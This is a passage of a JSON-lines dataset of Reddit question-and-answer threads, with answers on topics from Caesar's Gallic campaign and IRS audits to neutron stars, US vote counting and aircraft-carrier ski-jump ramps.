["http://www.medical-hypotheses.com/article/S0306-9877(09)00793-2/abstract"], ["http://www.smbc-comics.com/index.php?db=comics&amp;id=1623"]]}
{"q_id": "8qvl8u", "title": "Why did Caesar chose Gaul as his target for conquest when it was relatively poor", "selftext": "I know that the main reasons for his campaign were to become even more beloved by the plebs and to repay his debts, but these reasons don't show me why did he prefer Gaul. What were its advantages? Why didn't he choose for example some eastern region which were considered traditionally rich?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qvl8u/why_did_caesar_chose_gaul_as_his_target_for/", "answers": {"a_id": ["e0n1sch"], "score": [4], "text": ["We don't know exactly why Gaul was the ultimate result, but there is more nuance.  During his consulship in 59 BCE, Caesar's pet tribune Vatinius passed a law of the people securing Cisalpine Gaul and Illyricum for Caesar.  Cisalpine Gaul is the part of the province which was on the Italian side of the Alps, roughly equivalent to the NW of the Po valley today.  \n\nIt is often suggested that Caesar had an eye towards central Europe as the site of a campaign. I, however, believe that the first goal was more simple: to control legions under his *imperium* which were close to Rome.  He got three legions in Vatinius' law, and Cicero was immediately alarmed by this course of events, and the senate in general feared a repeat of the bloody rise of the dictator Sulla only a generation previous.  To give the young Caesar, whose consulship was so tumultuous, command of three idle legions in the north of Italia must have seemed terrifying to the senate. (see Cicero *Ad Att.* II.16; 17; 18, etc).\n\nThis might be why they responded by \"awarding\" Caesar *Trans*alpine Gaul (the area around modern Marseilles and along the coast back to the Alps) and another legion along with it.  Perhaps they wanted to lure him (and the legions) further away from Italy and put a big mountain range between the two.  We will never know if that strategy was effective, because the actions of the Helvetii, surely unknown to Caesar beforehand, forced Caesar to bring all the legions under his control (and then some) beyond the frontier into Gaul almost immediately upon his taking command in 58.  From there, the Gallic Wars unfolded more or less year by year, as more and more of the Gallic contingents were drawn into the conflicts.\n\nThere is zero evidence that Caesar had planned an invasion of Gaul (for money or glory or whatever else) before he arrived there in 58, and in fact, from what little information we have, it seems that he had left the original legions which accompanied his command back in Italia and had to raise them quickly when things went sour at Lake Geneva with the Helvetii."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "p5wy7", "title": "what happens exactly when my personal finances are being audited by the irs?", "selftext": "as pertaining to taxes (obviously) \n\nPlease explain in detail the process, but in laymen's terms\n\nTIA", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/p5wy7/what_happens_exactly_when_my_personal_finances/", "answers": {"a_id": ["c3mt0np", "c3mtch4", "c3mu496"], "score": [15, 3, 8], "text": ["I'll try.\n\nEvery year, all independent adults (not children, young adults who are still claimed as dependents by their parents, wards of the state, etc) must file their taxes. Based on how much they have earned and spent that year, and how they earned it, as well as their possessions, they generally owe a certain amount to both their state and the federal government. There are all sorts of taxes, including income tax (tax on what you make), luxury tax (tax on 'luxury' items such as a Mercedez), and property tax (tax on any land and buildings you own).\n\nIts the IRS' job to make sure that you're paying what you are obligated by law to pay. Smaller discrepancies are sometimes overlooked or ignored, but larger discrepancies require an audit. An audit is basically when the IRS reviews your earnings, possessions, and expenditures to make sure that you have been paying your taxes in the correct amounts. Now, obviously they don't have the resources or the ability to review every single purchase you have made (especially if it was made in cash, but I'll get to that in a second), but they can get access to things like mortgage statements, your credit report, bank records, and get a pretty good picture of how you're living. As an example, lets say they come across someone who, according to records, lives in a $800,000 home and owns 3 luxury cars, but according to records he only made $20,000 last year working at a fast food restaurant, and he only paid $400 in taxes last year. Obviously something is amiss here, because anyone with that much material wealth must be making more than $20,000 a year. So they'll audit him and figure out exactly what he is worth, and figure out exactly what he owes to the state and federal governments. They'll do this by subpoenaing his bank, mortgage company, car loan company, landlord, whatever they can find. \n\nThis is a big reason why cash is still desirable to use versus credit cards/checks. If you are paid in cash and you spend that cash without ever letting it touch a bank, the government has absolutely no way to know about it, unless you do something stupid like pay for a Porsche in cash when you legally only make $20,000 a year. Basically, drug dealers. \n\nedit: I could have been more clear on one point. As a couple of people have pointed out, the IRS doesn't randomly go around looking for rich people who report less income than seems realistic; audits are generally triggered by faked or sketchy tax returns, and once the audit is triggered they will then sometimes move on to assessing what you owe in taxes by assessing your wealth and earnings. ", "I think you are right on some stuff and wrong on other.  The IRS has nothing to do with Property Taxes, that is generally a state/municipal tax and is based on assessed value of inventory, land, buildings, cars.  Tough to escape if  you own any of that.  IRS primarlily focuses on Income Taxes which is a Federal Tax.  Most types of \"income\" are reported to the IRS by the person who PAID it.  So W2 income and investment income is already known by the IRS.  If you don't put it on your return, you'll get bagged easily.\n\nIf are self employed there is a lot more opportunity to underreport your income.  Cash receipts are difficult to track.  But the IRS does have statistical methods (many of which they keep secret) to determine whether what you report makes sense.  The classic example is the Pizza Place that report modest income while claiming expenses that would entail a much larger business.\n\nIf you are arguing that living completely off the grid is a way to avoid taxation then you are right.  But that's almost impossible.  Any time you buy something you'll pay sales tax.  If you register a car or own a home/propety you'll pay property tax.  And if you do any kind of work where the other party \"plays by the rules\" your income will be reported.\n\nAvoiding all of that is a hell of a price to pay to keep from paying your fair share....", "I was audited 3 years in a row due to no fault of my own. I filed my taxes and received my refund. 3 years later I got a letter saying I owed 1600 in back taxes from 3 years before. I checked the letter, brought my w-2's and 1099 and 1098's to the irs in Maitland Fl. They went over everything and found that my employer had reversed the number on box 1 and that copy had got mailed out to me. Afterwards the company noticed the mistake and fixed it in their system, but never sent me an updated copy of my w2(w2c). Therefore they were liable for the mistake, and I was off  the hook. Now for the next 3 years after that I was \"randomly\" audited. Bunch of bullshit if you ask me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "wavu3", "title": "What was the impact and legacy of Cult of Reason in France?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wavu3/what_was_the_impact_and_legacy_of_cult_of_reason/", "answers": {"a_id": ["c5bxh5u", "c5c26bu"], "score": [4, 4], "text": ["It was the first real attempt to knock Catholicism into the ground, not just by banning the Church but supplanting it with a non-Church, if you will. From there, the Cult of the Supreme Being (deism) sprouted the following year - but both were banned under Napoleon Bonaparte's rule as First Consul. \n\nAs for lasting effects, it was especially popular with the anti-clergy groups, the sans-culottes and parts of the military. It lead to the wide spread following of Freemasonry (interesting tidbit; the French arm of the Freemasons were banned from the international group in 1877 for being too secular). As a Revolutionary ideal, it was perfect. 'Reason' was seen as embodiment of equality, liberty and (to a lesser extent) fraternity. Its long lasting appeal was that even after the Catholic Church had been brought back with the Concordat (1801, Year IX), people that wanted to remain atheists did so vocally and without shame.", "part of \"church\" service was to have a beautiful girls stand half naked in the front of the room as a symbol of truth and beauty. This should have had an impact and left a legacy, but most religions are run by killjoys."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9ze3x7", "title": "I've heard that the surface of a fast spinning neutron star(pulsar) rotates at about 5th the speed of light with respect to the centre. If so, then would the periphery experience Lorentz contraction? How would it affect the structure of the star?", "selftext": "I think I'm probably referring to the Ehrenfest paradox but I would like to know what happens to a neutron star which is rotating rapidly. \n\nThanks.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9ze3x7/ive_heard_that_the_surface_of_a_fast_spinning/", "answers": {"a_id": ["ea8qcp8", "ea8rf12", "ea995c8"], "score": [33, 472, 106], "text": ["The neutron star would have a smaller radius than it would have if it weren't spinning so fast. It would also have a more steep bulge. Imagine making a circle with a piece of rope of defined length. As the rope begins to spin, every point on the rope will length-contract tangentially to the direction of rotation relative to an observer in the center. If every point on the rope length-contracts, then the whole rope will be shorter, and the radius of a circle it makes will be smaller. \n\nThe bulge will be steeper because this will happen to circles above and below the equator as well. (edit: it will happen to less of a degree the farther north and south you go from the equator, so the bulge will have a steeper curve.)", "The initial premise of the Ehrenfest Paradox involves a rigid object and pulsars aren't rigid. And of course, as with many other paradoxes in relativity, they aren't actually paradoxes and all have resolutions. But, I suppose the short answer to your question is that length contraction doesn't really make sense in full general relativity versus special relativity, and since these are incredibly massive and compact objects, you need to take into account full GR anyway.\n\nAs one might expect, spinning neutron stars are oblate, and I think that's all that changes with respect to the structure of the neutron star versus considering a non-rotating one.", "Einstein actually wrote an essay about a spinning disc that, due to the Lorentz contraction, demonstrated varying values for pie as the radius changed. I know that's not your precise question but it might be a place to start if you're looking for source material. It's in the blue Dover edition of collected essays on the Special and General theories--sorry, that's probably not helpful, but I can get the full title for you a bit later if you're interested.\n\nEdit: The essay I'm thinking of is titled \"The Foundation of the General Theory of Relativity\" by Einstein. The section I referred to is three paragraphs into the third section (\"The Space-Time Continuum. Requirement of General Co-Variance for the Equations Expressing General Laws of Nature\") of this essay. The book \"The Principle of Relativity\" is a collection of essays by Einstein, Lorentz, Weyl, and Minkowski and that's the Dover book I referred to earlier--I'm guessing you can probably just get the single Einstein essay online, but the book is the form I have the essay in and it includes several other interesting essays and texts. Enjoy!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5wnwg5", "title": "Do GPS Satellite s need to know their exact distance from the surface of the earth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5wnwg5/do_gps_satellite_s_need_to_know_their_exact/", "answers": {"a_id": ["debingm", "debk7k6"], "score": [13, 3], "text": ["GPS satellites transmit their current GPS time and their orbital position (called ephemiris) with each navigation packet, this is not though just a distance from the surface of Earth it is the full, 3-dimensional position of the satellite. Your GPS receiver needs both to calculate your position.\n\nThey also transmit something called the almanac which is the longterm but less precise location data for the entire GPS cluster in contrast with the ephemeris which is just the one satellite for one time but high accuracy. The almanac is useful to your device for finding satellites, next time it is turned on it knows where to look for them. The whole almanac is broadcast slowly over something like 15 minutes.\n", "Not only is the position of the satellite very important but GPS satellites have incredibly precise time keeping. Basically your device that is receiving GPS signals gets information on the position and time of multiple satellites and is able to calculate your position with geometry. The time is especially important though because we use it to calculate the distance between the satellite and the receiver; we also need to take special relativity into account and that allows us to calculate our position very accurately from the gps signals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9vmyqn", "title": "why does the us vote seems like a mess and badly organized for a european - why don\u2018t you just count votes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vmyqn/eli5_why_does_the_us_vote_seems_like_a_mess_and/", "answers": {"a_id": ["e9dgi0e", "e9dglm0", "e9dh08d", "e9dh17c", "e9dijn6", "e9djjk8", "e9dk63f", "e9dl29p", "e9drpjn", "e9ds42n", "e9dtctv", "e9dtexc", "e9dtjy6", "e9dtkfp", "e9dttkg", "e9du2md", "e9dvm66", "e9dvrc5", "e9dwa6j", "e9dwfxt", "e9dx434", "e9dx8j4", "e9dxw2y", "e9dy2ma", "e9dyuk4", "e9e0elr", "e9e0lki", "e9e0xmj", "e9e1oxh"], "score": [196, 4, 17, 113, 3376, 23, 357, 9, 2, 2, 9, 2, 56, 2, 2, 3, 3, 2, 2, 3, 2, 4, 5, 2, 5, 2, 2, 2, 2], "text": [" >  **ELI5: Why does the US vote seems like a mess and badly organized for a European - why don\u2018t you just count votes?** \n\nWe do count votes. What made you think we don't?\n\n & #x200B;", "If you refer to the Electoral College used to elect the president, the main reason was a necessary compromise at the time to prevent states with high populations of voting individuals from completely dominating federal policy against states with lower voting populations; when the US was formed, only white male landowners could vote, and many states had substantial slave populations, which meant that they would always be outvoted in a pure numerical election.\n\nIt would be very difficult to overstated how concerned the slave states were that the northern states would eventually band together and vote collectively to outlaw slavery in a way that they could never match in a purely numerical way, so this compromise was made so the country would not immediately fission into two countries. In the end it only delayed, not prevented, the American Civil War.", "It is basically counting votes, but we have a lot of votes to count, even with low turnout percentage.\n\nWe count the votes on a county by county basis, because many of the smaller elections, like mayor or bond elections are limited in scope. Those numbers are then added together for the state-wide and national elections.\n\nThere are rules to try and ensure every vote is counted, which usually come into play when there are fewer votes between the candidates than so-called provisional ballots, which is a little complicated, and leads to the kind of fun we saw with the first Bush/Gore election.\n\nBut it all boils down to counting votes. Sometimes by hand.", "One of the issues is thast you have 50 different states (and some other areas) that have 50 different ways to vote, different ways to count it, different ways to report it, different rules, regulations and so on.\n\nIts not that its a mess and badly organized, its not, in fact almost everything is totally fine and done without issue.  Its that there are so many different ways that the process works, that at least some aspect of it will be different enough that you'll hear about it, or an issue happens and so on.  In reality, almost all votes are fine, no issues, no problems, nothing, but you end up with just so many different ways, that there are some outlier things out there that lag and cause issues and take time to resolve correctly.\n\n", "Well the first answer is that the US isn't like any single European country. Instead it is more like the entire EU. And that is why our elections seem so disorganized. Because 50 states are holding elections all at the same time and they all have different rules on how the elections work.\n\nNext, outside the system it seems like it is a whole lot of effort for just a single election. But you, as a European, might not realize exactly how many things were voted on in the US this past Tuesday.\n\nAs an example, I live in California. I voted for one of my two Senators (the other wasn't up for re-election), my district House Representative, and a new Governor for my state. Those you probably know.\n\nI also had to vote for on my State ballot:\n\n* Lieutenant Governor\n* Secretary of State\n* Controller\n* State Treasurer\n* Attorney General\n* Insurance Commissioner\n* Board of Equalization Representative \n* State Senator (different than US Senator)\n* State Assembly Member\n* State Superintendent of Public Instruction\n\nThere were also 5 judges that I had to vote on and ~~10~~ 12 Propositions that change the laws in my State.\n\n**THEN** there is all the local elections. Which included 5 measures, 1 for the county and 4 for the city (could have been more buy the school district I live in didn't have a bond measure this year). But there were the local offices I had to vote on\n\n* Sheriff\n* County Supervisor\n* Board of Education members (had to pick 3)\n* City Council member\n\nIn total that was ~~39~~ 41 things I voted on. And that is just one of 50 states. So yeah it looks disoganized compared to a European election, but it is also on a scale unlike a European election. We had 113 million people vote, that is more than the population of any European country, let alone their voting population.\n\nEDIT: Some formatting errors, and I forgot about 2 state propositions", "Every State has a slightly different voting system, just like every country in the EU has a different system. They each organize their own systems, but in general it mostly is just counting votes. \n\nThere are different levels of government: City, County, State, Federal and each level can have things that have to be voted on in a given election. So it takes a while to go through all the vote and count them for every thing being voted on. \n\nAs for recounts, those occur automatically if the difference between candidates is narrow. Every state has a different margin but automatic recounts generally occur for 2% or less but some States go as high as 5%. Every candidate also has the right to ask (demand) for a recount as well and this is a common thing to do if for no other reason than to save face. \n\nAs for strange things like \"hanging chads\" or the vanishing voting machine. Those are not planned parts of the system. Those are errors, things going wrong and getting lost, or deliberate sabotage. ", "The US election system is complicated by the US's large size, complicated political structure, and long history of democracy.  It definitely has its problems, but many Europeans fall into the trap of comparing the US to their own European country, when really it's closer in size, population, and complexity to the entire European Union.\n\nYour country may not have had any election messes in your lifetime, but neither has my own state of Massachusetts.  And Europe as a whole has definitely had some messy elections...\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_\n\nIt's easy for Europeans to think that election problems in, say, Hungary don't affect them personally and don't reflect on the EU as a whole.  Americans don't have the same luxury with Florida.\n\nI'm not saying Europe is just as bad, I'm saying that while \"just count the votes\" is a simple idea, the problems of who gets to vote, when and where, what votes should be counted, and how the counting should be done are universal.\n\n", "Since a lot of other people have covered the issues caused by every state having its own rules, and localities adding rules on top of that, I want to mention scope.  The US has about 325 million people living there.  Thats the combined total of Germany, France, UK, Italy, Spain, and Switzerland.  Thats a lot of people to count.", "We have many separate elections on each ballot (for example, in MA my ballot had Governor, Auditor, Sec State, Governor's Council, US Senator, US Representative, State Senator, State Representative, plus 3 ballot questions) , and we have 80M-100M votes to count. It takes time.", "From my understanding, some States vote with sticks, others with seashells, and some with pebbles. I think one or two States vote with thoughts, and those mean the most. The conversion rate of sticks to seashells is 1.7 to 6, and seashells to pebbles is .487 to 2.91, while the sticks to pebbles can't actually be converted. The thought votes can only be converted backwards, and not forwards, but they always equal 9.\n\nBasically, from across the border in Canada, we're confused as much as you guys.", "To answer the specific question asked:\n\n > Why does the US vote seems like a mess and badly organized for a European\n\nIt's because it's currently really popular to misrepresent stuff related to the US in a negative way. Other common examples where this occurs are on the subjects of school shooting or healthcare.\n\nTo answer the second question asked:\n\n > why don\u2018t you just count votes?\n\nThey do. \n\nEvery State has it's own rules and regulations for exactly how that is done. Some use electronic systems, some use hand-counting, etc. But all systems boil down to simply counting votes.", "One of the big reasons for the added complexity is that if we only counted votes, then the winners would always be chosen entirely by densely populated urban areas. Under this approach, you aren't really represented in your government unless you live in one of those areas.\n\nIt's a lot more complicated than that, but that's one of the easier-to-understand reasons.", "Because an election has like 40 different separate elections in it. Every body in the country only has one of the 40 elections in common , the vote for President.   Next comes the vote for US senators and state governor and other state officials ,  of which only the people in the same state as you have in common with you.  There are 50 states in the US.   \n\nNext come the senator for your state legislature, of which only people in your same district have the same election.\n\nThen comes the county wide officials to be elected. No other people in the US have on their ballot except for people who live in the same county as you.  There are 3142 counties in the US.\n\nNext come the city specific elections and ballot initiatives and bond financing proposals.  There are thousands of cities and towns in the US.\n\n\nSo I just roll my eyes when some non-American says  \"we have paper ballots and just weigh the 'yes' pile and 'no' pile separately in my small country and why can't the US do the same??\" That only really works when every voter votes on the same set of issues.\n\n\n", "Is this in reference to the electoral college? If it is I can provide a detailed explanation. If, instead, you're commenting on how much of a cluster fuck it seems to be with counting votes, I'm just as confounded as you.  I volunteered on Election Day, and the voting machines were 50 years old, broke down every few hours, and the people that volunteered to help half the time didn't know anything about how the process worked. \n\nWith modern technology, you'd think we could count votes accurately in seconds electronically, yet somehow we're using this outdated, error prone, failing technology. ", "Yes EU elections go well, my country is basically always doing things half-assed because we need 3 parties in a coalition to rule. \n\n & #x200B;\n\n & #x200B;", "The US is also spread across at least 6 time zones. This complicates reporting of projected winners. There are elections in the past where the presidential election had a projected winner before I even got out of work in the evening to go vote (west coast). I think this practice stopped a few years ago. I vote by mail now anyway.", "If you think the US check how the German Bundestag is elected you will go mad in the mean time", "Not sure what you mean. We do count votes, but it's *which* votes are counted. \n\nFor Senator the whole state's votes are counted. For House Rep only the votes of one district is counted. But states have varying number of districts.\n\nFor the presidential election it's more of a two-stage vote process. You vote for your state and then your state gets a weighted vote in the real vote.\n\nThere is actually no such thing as a national vote. All votes are by district or state.\n\nIt has to do with the states being originally nominally independent (under the Crown). Each state had to agree to come together, which means each state had to be appeased somehow to convince them to join in.", "Valid question but how does this not violate the rules of the sub?", "We do count votes. The problem in the United States is there are people, primarily Republicans, who wanted to suppress turn out of any demographic that votes in the majority for Democratic candidates. This is why you will see such cute games as 1) shutting down polling places so more people have to funnel in through one location, and of course people give up and go home, 2) One voting location in a Kansas County for 14,000 people and cannot easily be reached by public transportation.  There are numerous other tricks I will not mention.  The point is to suppress voter turnout for people who will vote for Democrats.  And when it gets down to a tight race, sometimes the Republican candidate will want to blocking a recount, or a complete accounting or votes etc.", "because if you try to pass legislation to make it easier like voter ID, then the dems cant cheat so they do everything in their power to stop you.", "Because it's a Federal Republic.  \n\nAnyone who tells you the USA is a democracy, is an uninformed idiot.  \n\nWe have localized state governments, and then the overall federal government. Each state has representatives.", "Think of it this way: imagine that when the EU was being formed, countries that were extremely small in population believed that the EU would start looking like the Warsaw Pact, where industry and resources were being moved to Russia for little in return.  Those countries would refuse to join the EU unless there was some sort of protection of the vote such that they would have an equal say as a \"state\" of the EU, regardless of their smaller population.\n\nTo ensure those countries would join the EU, the larger nations would promise that they'd have at least one branch of government (aka the Senate), where each new \"state\" would be represented regardless of population.  That way, they still had a reasonable chance of being able to vote against measures that were patently resource grabs, or just onerous in general.  They also had the right to decide how to process voting and set voting rules independent of the other states, within certain boundaries (no disenfranchising based on race, for example). \n\nThat would work, but as a side effect it would mean a very inconsistent voting setup, which would be disorganized-looking on a national level but well within the ability of states to handle.", "Because this is America and we\u2019re a big house with a lot of varied lifestyles and opinions- that may be what keeps us number 1", "Great question as it\u2019s one everyone in Europe wonders. \n\nAs a euro American I always have to correct the perception that America is like a single country with my European friends. It really is 50 states and 2000 counties all doing their own shit. \n\nIt\u2019s the same thing as when you hear an American call you a \u201cEuropean\u201d when you think you\u2019re actually English or French or whatever. Or an American says London near England without joking. \n\nAmericans also wear all their problems on their sleeves. We have less systemic racism than most European countries but you won\u2019t ever believe it if you watch the news etc.\n\nWe love to advertise problems. That\u2019s how we fix them. ", "If you are referring to the the presidential elections and why the USA uses the the Electoral College instead of the Popular Vote the answer is, Slavery.\n\n\"Standard civics-class accounts of the Electoral College rarely mention the real demon dooming direct national election in 1787 and 1803: slavery.\n\nAt the Philadelphia convention, the visionary Pennsylvanian James Wilson proposed direct national election of the president. But the savvy Virginian James Madison responded that such a system would prove unacceptable to the South: \u201cThe right of suffrage was much more diffusive [i.e., extensive] in the Northern than the Southern States; and the latter could have no influence in the election on the score of Negroes.\u201d In other words, in a direct election system, the North would outnumber the South, whose many slaves (more than half a million in all) of course could not vote. But the Electoral College\u2014a prototype of which Madison proposed in this same speech\u2014instead let each southern state count its slaves, albeit with a two-fifths discount, in computing its share of the overall count.\n\nVirginia emerged as the big winner\u2014the California of the Founding era\u2014with 12 out of a total of 91 electoral votes allocated by the Philadelphia Constitution, ... Perversely, the more slaves Virginia (or any other slave state) bought or bred, the more electoral votes it would receive.\"\n\n_URL_0_\n\n\n", "You've had 1000 years to develop democracy through wars, royalty, sacrifice.  You're asking why the child doesn't understand the stove is hot.", "Haha. Its such a cringe laugh for an outsider to watch. Sad that it undermines democracy but the US system is broken. \nVoting on a Tuesday work day. \nElectorates decided by politicians\nElected judiciary and law enforcement \nDisenfranchised people on flimsy grounds\nAnd the list goes on\n41 propositions to vote on in one election for California? That too is crazy crazy. \n\n", "**Please read this entire message**\n\n---\n\nYour submission has been removed for the following reason(s):\n\n* Subjective or speculative replies are not allowed on ELI5. Only objective explanations are permitted here; your question is asking for speculation or subjective responses (Rule 2). \n\n\n* Loaded questions, **or** ones based on a false premise, are not allowed on ELI5 (Rule 6).\n\n\n\n---\nIf you would like this removal reviewed, please read the [detailed rules](_URL_1_) first. If you still feel the removal should be reviewed, please [message the moderators.](_URL_0_?)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.theguardian.com/world/2018/apr/09/hungary-election-osce-monitors-deliver-damning-verdict", "https://www.bbc.com/news/world-europe-36681475", "https://www.cnn.com/2017/10/05/europe/catalonia-referendum-covert-operation/index.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://time.com/4558510/electoral-college-history-slavery/"], [], [], ["http://www.reddit.com/message/compose?to=%2Fr%2Fexplainlikeimfive&amp;subject=Can%20you%20review%20my%20thread", "https://www.reddit.com/r/explainlikeimfive/wiki/detailed_rules"]]}
{"q_id": "s7xs2", "title": "why do birches have white bark?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s7xs2/why_do_birches_have_white_bark/", "answers": {"a_id": ["c4bvza1", "c4bvztj"], "score": [3, 22], "text": ["I don't know the exact answer but I do know that the wood inside the paper birch tree (under the white bark) is highly susceptible to rotting. The bark of the paper birch is full of oil which helps keep rain water out of the wood inside. (The high oil content is why you can burn birch bark when it's wet and why it makes that sooty black smoke.) I'm guessing the bark is also smooth instead of rough and wrinkly like most tree bark to help the water flow down the sides more easily instead of being trapped next to the tree. So birch trees have that smooth oily watertight bark to prevent rot. For some reason that type of bark ends up white instead of brown. \n\n(Maybe the brown or grey bark on most trees is a kind of \"benign\" rot-like if you build a fence or a deck out of wood and don't treat it then it will turn brown or grey in a few years. On trees this isn't a problem because the bark is alive and re-grows before the weather can rot into the living part.)\n\nSorry if this post sort of answers everything except your exact question. :(", "Forestry major here, had to look up a lot of this information, but I think it all works.\n\nBirch bark, specifically paper birch (Betula papyrifera) is high in a compound called [Betulin](_URL_1_) (up to 30% of the dry mass of the bark). According to [this](_URL_0_) article here, betulin contributes to the  weather-resistant nature of birch bark, making the genera more resistant to cold winds. The oily nature of betulin acts as insulation in this case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.botanical-online.com/english/birchclasses.html", "http://en.wikipedia.org/wiki/Betulin"]]}
{"q_id": "9mcudn", "title": "why do places appear to be much smaller in dimension, and underwhelm us after we visit them after a considerable period of time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9mcudn/eli5_why_do_places_appear_to_be_much_smaller_in/", "answers": {"a_id": ["e7dqgxu", "e7dsjla", "e7dunf6"], "score": [10, 3, 2], "text": ["I would imagine the fact that we are simply able to comprehend what is in front of us much more and much better after seeing it repeatedly. Give a baby anything at all. Introduce them to using a straw. Or dealing with a pet. Give any person a task to perform. After repeated exposure, that task or sight becomes, I guess, normal, and is no longer daunting. With physical space it must be the same. The more you are in it, the more details you notice, and the less you have to digest as new information the next time around. Thus, each successive viewing or inhabiting of that space demands less of the person psychologically and becomes less of a task mentally, and probably makes it seem physically smaller. I don't know, I'm literally just spitballing here. ", "This often happens in a place you knew or saw as a child. Everything seems bigger when you are small. ", "It's similar to how size-of-personality affects our memory of people's size. \n\n - That person with the BIG personality always seems shorter when you met after some time. \n\n - That person with the small personality always seems taller, when you met again. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "lkkbj", "title": "Why are American aircraft carriers flat, while British aircraft carriers sloped upward?", "selftext": "Surely there must be an internationally agreed upon method for launching an aircraft into the air from a very short distance, especially with the aircraft being so similar? What explains the disparity?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lkkbj/why_are_american_aircraft_carriers_flat_while/", "answers": {"a_id": ["c2tfuvj", "c2tfv65", "c2tfwb2", "c2tg1q5", "c2tggfu", "c2tfuvj", "c2tfv65", "c2tfwb2", "c2tg1q5", "c2tggfu"], "score": [12, 34, 2, 2, 5, 12, 34, 2, 2, 5], "text": ["American aircraft carriers use something called a catapult to launch its jets. What this means is the jet's front wheel is attached to a steam powered track that launches the jet at high speed to the tip of the carrier and the plane has enough speed to achieve lift-off.\n\nBritish aircraft carriers use something called a ski-jump. There is a ramp at the end of the carrier which helps the planes get enough height to achieve lift-off.\n\nYou can read about this here: _URL_0_", "British carriers are designed for Harrier jets which can take off under their own power off a sloped deck. Their engines can be turned downward to assist takeoff.\n\nUS aircraft are launched off the carrier with a catapult that accelerates the plane from zero to flying in 2 seconds. US carriers can fly a range of aircraft using this system.", "They have different  launch methods. American carriers use catapults, British (invincible-class) carriers use unassisted launch. Ski-jump ramps help to increase the maximum takeoff weight of the plane compared to flat unassisted horizontal launch. Russians also use ski-jump ramps. \n", "The other posters are right, the ramp helps planes take off, but it also reduced the amount of space you can use to park aircraft, so larger american carriers that don't need them leave them off.  American carrier designs, since as far back as the 1920s, have always sought to maximize deck space.", "The real question is which is more effective?\n", "American aircraft carriers use something called a catapult to launch its jets. What this means is the jet's front wheel is attached to a steam powered track that launches the jet at high speed to the tip of the carrier and the plane has enough speed to achieve lift-off.\n\nBritish aircraft carriers use something called a ski-jump. There is a ramp at the end of the carrier which helps the planes get enough height to achieve lift-off.\n\nYou can read about this here: _URL_0_", "British carriers are designed for Harrier jets which can take off under their own power off a sloped deck. Their engines can be turned downward to assist takeoff.\n\nUS aircraft are launched off the carrier with a catapult that accelerates the plane from zero to flying in 2 seconds. US carriers can fly a range of aircraft using this system.", "They have different  launch methods. American carriers use catapults, British (invincible-class) carriers use unassisted launch. Ski-jump ramps help to increase the maximum takeoff weight of the plane compared to flat unassisted horizontal launch. Russians also use ski-jump ramps. \n", "The other posters are right, the ramp helps planes take off, but it also reduced the amount of space you can use to park aircraft, so larger american carriers that don't need them leave them off.  American carrier designs, since as far back as the 1920s, have always sought to maximize deck space.", "The real question is which is more effective?\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Flight_deck#Ski-jump_ramp"], [], [], [], [], ["http://en.wikipedia.org/wiki/Flight_deck#Ski-jump_ramp"], [], [], [], []]}
{"q_id": "59o6dp", "title": "AskScience AMA Series: I'm Dan Riskin: author, bat biologist, host of Animal Planet's Monsters Inside Me and co-host of Daily Planet. I wrote my PhD on bats and since it's Bat Week, I thought I'd take a swing at some of your questions. (See what I did there?)", "selftext": "I've seen  > 100 species of bats in the wild (not bad but far short of the 1,300+ species out there). For my PhD, I put vampire bats on treadmills to compare their walking performance to those of other animals. To my surprise, vampire bats had a [running gait](_URL_3_). That was my big break. Soon, I got TV gigs, like the job hosting Monsters Inside Me for Animal Planet, and guest appearances on [Craig Ferguson](_URL_6_), Jay Leno and Dr. Oz. I am the co-host of Discovery Canada's flagship daily science show, [Daily Planet](_URL_5_), and I'm the author of [Mother Nature is Trying to Kill You](_URL_4_) (2014).\n\nMy latest project is a weekly 10-15 minute podcast called [Recent Paper Decent Puzzle](_URL_0_) in which I pick an interesting scientific journal article paper to break down and then \u201ccleanse your mental palate\u201d with a fun puzzle. I often talk about bat papers because let's face it, bats are the most charismatic creatures on Earth. Did you know some bats feed on fish? Did you know there are bats with suction cups on their wrists and ankles? Did you know some bats perform oral sex on one another? I could go on. Oh wait, I will!\n\n Let's blab about bats. Also, I'll happily answer questions about other things, too, like what it's like to work on Monsters Inside Me (there's a new episode [tonight](_URL_1_)!), or about my experience doing the podcast. This will be my third AMA, and I hope it is just as fun as the last two. Coming on at noon (ET), bring it, Redditors.\n\nProof: _URL_2_\n\n****\nThanks so much everyone. This was a lot of fun. If you like learning about this kind of stuff, please check out my new podcast when you get time: Recent Paper Decent Puzzle.\n\nAnd Happy Bat Week!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/59o6dp/askscience_ama_series_im_dan_riskin_author_bat/", "answers": {"a_id": ["d99z2nq", "d9a02z4", "d9a09v6", "d9a0bo6", "d9a0g5i", "d9a0gcf", "d9a0h1p", "d9a0l2h", "d9a0m6n", "d9a0u87", "d9a0wde", "d9a0zit", "d9a1356", "d9a1bny", "d9a1dvj", "d9a1frm", "d9a1g34", "d9a1px9", 